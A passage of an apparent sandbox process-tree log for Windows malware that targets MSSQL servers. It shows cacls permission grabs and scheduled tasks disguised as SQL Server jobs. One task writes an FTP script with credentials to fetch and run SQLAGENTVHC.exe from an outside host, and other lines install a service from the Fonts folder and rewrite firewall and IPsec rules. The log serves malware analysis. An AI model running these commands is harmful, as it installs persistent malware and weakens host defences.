  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:3924
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:460
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:1672
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:3976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:52
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5348
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5704
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5368
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2784
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3188
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:5936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:2628
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:2744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4336
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:1828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:6608
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:2856
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:2852
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:3940
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:1544
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:6664
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:2768
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:4816
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6476
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:6320
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:5796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3216
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:4708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:540
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7056
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:1320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:6352
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6060
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
  2⤵
  PID:4284
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
    3⤵
    PID:4384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2888
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
    3⤵
    PID:904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
  2⤵
  PID:5088
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
    3⤵
    PID:4392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
  2⤵
  PID:2592
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
    3⤵
    PID:892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:2644
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:7040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6300
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6192
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1216
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
    3⤵
    PID:560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6544
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6148
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1088
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:2444
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6592
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:3708
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6660
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:6952
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:3668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5948
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:3536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:5324
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6444
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5624
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6724
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:3680
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:4380
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:4184
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cmd.exe
  2⤵
  PID:6552
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:7036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cacls.exe
  2⤵
  PID:3264
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cacls.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:3912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im ftp.exe
  2⤵
  PID:4712
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ftp.exe
    3⤵
    - Kills process with taskkill
    PID:1656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s
  2⤵
  PID:1816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s
  2⤵
  PID:3948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s1a
  2⤵
  PID:4544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s1a
  2⤵
  PID:3936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTVFC.exe
  2⤵
  PID:3384
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2084
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTVFC.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:1076
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s
  2⤵
  PID:1340
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s
  2⤵
  PID:5304
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate.bat
  2⤵
  PID:5996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6668
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.532193" /tr "C:\ProgramData\SQLAGENTIHC.exe" /sc onstart /ru "System"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.533294" /tr "C:\ProgramData\SQLAGENTVHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.522395" /tr "C:\RECYCLER\SQLAGENTIHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5044
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.533496" /tr "C:\RECYCLER\SQLAGENTVHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1264
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.138297" /tr "C:\Program Files\Microsoft SQL Server\SQLSerasi.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:5620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.139292" /tr "C:\Program Files (x86)\Microsoft SQL Server\SQLSerasi.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.134297" /tr "C:\Program Files\Microsoft SQL Server\SQLservras.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:812
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.135292" /tr "C:\Program Files (x86)\Microsoft SQL Server\SQLservras.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.136292" /tr "C:\Program Files\Microsoft SQL Server\fdlaunchersa.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3128
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.137292" /tr "C:\Program Files (x86)\Microsoft SQL Server\fdlaunchersa.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:7072
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.138292" /tr "C:\ProgramData\Microsoft\Windows\GameExplorer\Remote.hlp" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.131292" /tr "cmd /c echo open g.nxxxn.ga >>s&echo nvpxx169_mm>>s&echo qwe123!@#>>s&echo binary>>s&echo get SQLAGENTVHC.exe C:\Windows\SQLAGENTVHC.exe>>s&echo bye>>s&ftp -s:s&C:\Windows\SQLAGENTVHC.exe&del /f /a /q C:\Windows\system32\s" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.132292" /tr C:\Windows\SQLAGENTVHC.exe /sc onstart /ru System
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2448
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.133394" /tr C:\Windows\Fonts\SQLAGENTSWE.exe /sc onstart /ru System
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1772
- - C:\Windows\SysWOW64\cacls.exe
    cacls.exe "C:\Windows\Fonts\SQLAGENTSWE.exe" /e /t /P everyone:F
    3⤵
    PID:3408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1444
- - C:\Windows\SysWOW64\cacls.exe
    cacls.exe "C:\Windows\Fonts\SQLAGENTSWE.exe" /e /t /P system:F
    3⤵
    PID:6096
- - C:\Windows\Fonts\SQLAGENTSWE.exe
    "C:\Windows\Fonts\SQLAGENTSWE.exe" install "Microsoft.SQL.Server.1021.2" "C:\Windows\Fonts\SQLAGENTSWE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3228
- - C:\Windows\SysWOW64\sc.exe
    sc create "Microsoft.SQL.Server.1021.2" binpath= "C:\Windows\Fonts\SQLAGENTSWE.exe" displayname= "Microsoft.SQL.Server.1021.22" depend= Tcpip start= auto
    3⤵
    - Launches sc.exe
    PID:5408
- - C:\Windows\SysWOW64\sc.exe
    sc description "Microsoft.SQL.Server.1021.2" "Provides storage, processing and controlled access of data, and rapid transaction processing."
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5840
- - C:\Windows\Fonts\SQLAGENTSWE.exe
    "C:\Windows\Fonts\SQLAGENTSWE.exe" start "Microsoft.SQL.Server.1021.2"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:1764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate1.bat
  2⤵
  PID:3908
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start" /f
    3⤵
    - Modifies registry key
    PID:1100
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
    3⤵
    - Modifies registry key
    PID:7156
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL" /f
    3⤵
    PID:6288
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL1" /f
    3⤵
    PID:452
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run /v "start" /f
    3⤵
    - Modifies registry key
    PID:5912
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
    3⤵
    - Modifies registry key
    PID:2720
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete policy name=win
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4088
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filterlist name=Allowlist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5992
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filterlist name=denylist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5528
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filteraction name=allow
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4152
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="tcp all" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2784
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="deny tcp 445" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1036
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="deny tcp 139" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1776
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="tcpall" dir=out
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3972
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= auto
    3⤵
    - Launches sc.exe
    PID:1608
- - C:\Windows\SysWOW64\net.exe
    net start MpsSvc
    3⤵
    PID:3288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start MpsSvc
      4⤵
      PID:5456
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6828
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5660
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3156
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6172
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1000
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add policy name=win
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:6824
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=Allowlist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3172
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=denylist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4248
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3480
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5620
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:6280
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3304
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3572
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=Allow action=permit
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5796
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=deny action=block
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3864
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5612
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static set policy name=win assign=y
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    PID:2352
- - C:\Windows\SysWOW64\find.exe
    find "5.1."
    3⤵
    PID:416
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.1 -n 1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1708
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckyoumm2_filter" DELETE
    3⤵
    PID:4188
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm2_consumer" DELETE
    3⤵
    PID:3124
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4692
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
    3⤵
    PID:1532
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
    3⤵
    PID:460
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
